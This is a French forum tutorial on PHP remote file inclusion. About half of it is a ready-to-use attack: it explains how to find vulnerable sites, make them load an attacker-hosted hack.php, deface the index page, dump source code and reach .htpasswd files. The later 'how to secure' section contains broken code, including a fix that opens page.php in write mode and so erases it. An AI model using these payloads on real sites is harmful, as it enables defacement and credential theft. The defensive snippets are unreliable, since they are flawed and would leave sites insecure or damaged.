Shadow Spy codeur  Offline
Joined: 30 Oct 2007 Posts: 89
|
Posted: Sun 30 Dec - 01:39 Post subject: Failles include PHP |
|
|
salut,
je vais vous présenter la fonction include du php, très pratique pour faire des sites mais qui peut être très dangereuse si on ne protège pas son site
si vous ne comprenez rien à ce qui va suivre, regardez là
La faille include PHP
Présentation
La faille include est encore très courante sur les sites en php. L'include sert principalement à inclure une page dans une autre, par exemple pour inclure des variables provenant d'un fichier de configuration. C'est une faille courante, et présente sur un grand nombre de sites. De plus, elle est très simple à exploiter.
Par exemple :
| Code: | <?
include($page.php);
?>
|
Cette commande aura pour but d'inclure la page nommé page.php à l'endroit où on mettra ce script.
Pour la localiser, ce n'est pas compliqué, il faut trouver un site avec une URL de ce genre :
http://www.site.com/index.php?page=exemple.php
Pour savoir si la faille est présente, nous allons donc essayer "d'inclure" notre URL en mettant ceci dans la barre d'adresse :
http://www.site.com/index.php?url=http://www.google.fr ou http://www.site.com/index.php?var=http://www.google.fr
Là, si Google apparaît sur le site, c'est qu'apparemment il n'est pas protégé.
Vous pouvez très bien faire ça avec votre propre fichier :
http://www.site.com/index.php?url=http://www.votresite.com/hack.php
Exploitation
On va donc pouvoir ajouter du code en utilisant la fonction fwrite(), ce qui aura pour effet de défacer l'index du site !! Pour cela, il suffit de copier ce petit script php sur une page que vous appellerez hack.php, et de la stoker sur un hébergeur :
| Code: | <?
$fp=fopen("index.php", w);
$msg="Hacked by Guismay !!!";
fwrite($fp,$msg);
fclose($fp);
?>
|
Ensuite, dans la barre d'adresse, entrez ceci :
http://www.site.com/index.php?page=http://www.votresite.com/hack.php
Et là, vous allez laisser une belle trace de votre passage.
Voir la source d'un fichier .php
Vous pouvez, grâce à la faille, voir le code source d'un fichier .php, pour cela copiez le code suivant dans votre fichier hack.php :
| Code: | <?
$inF = fopen($file, "r");
$j="";
while (!feof($inF)) {
$j=$j.fgets($inF, 4096)."<br>";
}
$j='<font color="#000000">'.$j.'</font>';
echo $j;
fclose($inF);
?>
|
On retape l'URL suivante :
http://www.site.com/index.php?page=http://www.votresite.com/hack.php
Et là, miracle, la source de la page index.php qui est à la racine du site apparaît en clair !!!
Cerise sur le gâteau, notre script qui est interprété par le serveur cible est tout puissant, car il est appelé par le site lui-même et non par notre navigateur !! Un petit .htaccess vous barre la route ?? Pas de problème, vous l'incluez et il vous offre le .htpasswd !!! La faille vous permettra donc d'accéder à toutes les ressources du site en navigant dans les répertoires, y compris ceux protégés.
Comment sécuriser tout ça ?
Si vous êtes un webmaster, vous feriez mieux de sécuriser vos pages, si cela n'est pas déjà fait. Pour cela, voici trois méthodes :
1° Méthode :
Pour cela, c'est simple, incluez seulement le nom des pages, sans l'extension. Celles-ci (.htm, .php ... ) peuvent-être ajoutées juste avant l'inclusion. Ensuite, imaginons que vous ayez un fichier du nom de index.php qui inclue une page nommé page.php de cette manière : index.php?page=page.php, alors vous devrez inclure ce code dans la page index.php :
| Code: | <?
if ($page == 'page') { include('page.php'); }
elseif ($page == 'page2') { include('page2.php'); }
elseif ($page == 'page3') { include('page3.php'); }
etc...
else {include ("404.php"); }
?>
|
Ensuite, rappelez-vous que le lien ne sera plus :
| Code: | <a href="index.php?page=page.php">Rubrique</a>
|
mais
| Code: | <a href="index.php?page=page">Rubrique</a>.
|
Désormais, si on fait comme dans l'exemple plus haut, c'est-à-dire :
http://www.site.com/index.php?page=http://www.votresite.com/hack.php,
et bien ça ne marchera pas. Dans l'exemple, ça ne marchera que pour page, page2, et page3.
Si le pirate est un peu doué, il va mettre :
http://www.site.com/index.php?page=http://www.votresite.com/page.php,
mais il tombera une erreur 404 car l'extension .php sera rajoutée à la fin de l'URL, et sur
http://www.votresite.com/, il n'y a pas de fichier page.php.php.
Le problème, c'est que si on écrit :
http://www.site.com/index.php?page=http://www.votresite.com/page,
.php sera encore rajouté à la fin de l'URL, et cette fois ci, la page sera bien incluse.
Par contre, cette sécurité, sans interdire totalement l'injection de code, empêche l'accès au fichiers sensibles, tel que les .htaccess ou les .htpasswd.
2° Méthode :
Ici, nous allons utiliser une commande PHP bien pratique qui va nous permettre de vérifier que le document existe bien sur le serveur : file_exists( ).
Pour cela, incluez ce code dans votre fichier page.php :
| Code: | <?
$fp=fopen("page.php", w);
if(file_exists($page)) // Si la variable page existe,
{
include($page); //alors on l'inclue,
}
else
{
include ("404.php"); // sinon on affiche une page d'erreur.
}
?>
|
3° Méthode :
Voici encore une autre possibilité, copiez ce code dans le fichier index.php :
| Code: | <?
switch ($page) {
case "page.php":
case "page2.php":
case "pages/page.php":
include($page);
break;
default:
exit("404"); // Si la variable ne correspond ni à "page" ni a "page2" ni a "page/page.php"
}
?>
|
Et voilà, désormais vous connaîtrez la faille include.
si vous avez des questions, mettez-les à la suite de ce post
a+ |
|